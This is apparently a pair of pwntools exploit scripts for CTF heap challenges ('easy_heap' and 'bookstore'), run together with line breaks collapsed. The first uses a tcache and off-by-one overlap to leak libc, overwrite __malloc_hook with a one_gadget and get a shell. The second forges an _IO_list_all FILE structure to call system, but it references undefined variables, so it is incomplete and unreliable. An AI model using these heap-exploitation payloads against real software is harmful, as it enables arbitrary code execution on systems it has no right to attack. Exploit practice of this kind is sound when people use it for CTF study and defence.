from pwn import * def new(size,note): p.recvuntil("?\n> ") p.sendline("1") p.recvuntil("size \n> ") p.sendline(str(size)) p.recvuntil("content \n> ") if size==0:#新方式,拿本本记下来 return else: p.send(note) def delete(index): p.recvuntil("> ") p.sendline("2") p.recvuntil("index \n> ") p.sendline(str(index)) #context.log_level='debug' p=process("./easy_heap") for i in range(10): new(0,"kirin\n") #make unsorted bin for i in range(5): delete(9-i)#9 8 7 6 5 delete(3) delete(1) #tcache full!(1->3->5->6->7->8->9)
delete(2) delete(0) delete(4)
#700->300->500(unsortedbin)
for i in range(7): new(0,"kirin\n") # new 0~6 400 600 800 900 a00 b00 c00
new(0,"kirin\n")#700 7 new(0xf8,"\x00")#300 8 off by one new(0,"kirin\n")#500 9 for i in range(6):#free 1~6 delete(i+1) ''' 500->c10 -> b10 - a10 - 910 - 810- 610 ''' delete(9)#500 delete(0)#400,合并了,赛高 gdb.attach(p)
#leak p.recvuntil("?\n> ") p.sendline("3") p.recvuntil("index \n> ") p.sendline("8") s=p.recv(6) libc_addr=u64(s.ljust(8,"\x00"))-0x3ebca0 print hex(libc_addr) #leak over hahaa #7 8 used
for i in range(8): new(0,"kirin\n") #1 2 3 4 5 6 9 #500 c10 b10 a10 910 810 610 delete(8) delete(9) #tcache #610->300 new(0x10,p64(libc_addr+0x3ebc30))#malloc_hook new(0x10,"kirin\n") for i in range(8): delete(i)#最后一次返回 malloc for i in range(8): new(0x10,p64(libc_addr+0x10a38c))#one_gadegt delete(0) p.recvuntil("> ") p.sendline("1") p.interactive()
from pwn import * env=os.environ #env['LD_PRELOAD']='./libc_64.so' #context.log_level='debug' r=process('./bookstore') def add(author,size,cont): r.recvuntil('Your choice:') r.sendline('1') r.recvuntil('What is the author name?') r.sendline(author) r.recvuntil('How long is the book name?') r.sendline(str(size)) r.recvuntil('What is the name of the book?') r.sendline(cont) def delete(idx): r.recvuntil('Your choice:') r.sendline('2') r.recvuntil('?') r.sendline(str(idx)) def show(idx): r.recvuntil('Your choice:') r.sendline('3') r.recvuntil('?') r.sendline(str(idx)) add('a'*0x10,0,'0'*0x10)#0 add('b'*0x10,0x40,'1'*0x10)#1 add('c'*0x10,0x40,'2'*0x10)#2 add('d'*0x10,0x40,'3'*0x10)#3 delete(0) add('a'*0x10,0,'0'*0x18+p64(0xa1))#0 delete(1)
fire=p64(0)+p64(0x61)+p64(0)+p64(iolistall-0x10)+p64(0)+p64(1)+p64(0)+p64(sh)+p64(0)*19+p64(strjumps-8) fire=fire.ljust(0xe8,'\x00')+p64(sys) add('e',0,'\x00'*0x10+fire)#4 r.recvuntil('Your choice:') r.sendline('1') r.recvuntil('What is the author name?') r.sendline('test') r.recvuntil('How long is the book name?') r.sendline(str(0x40)) r.interactive()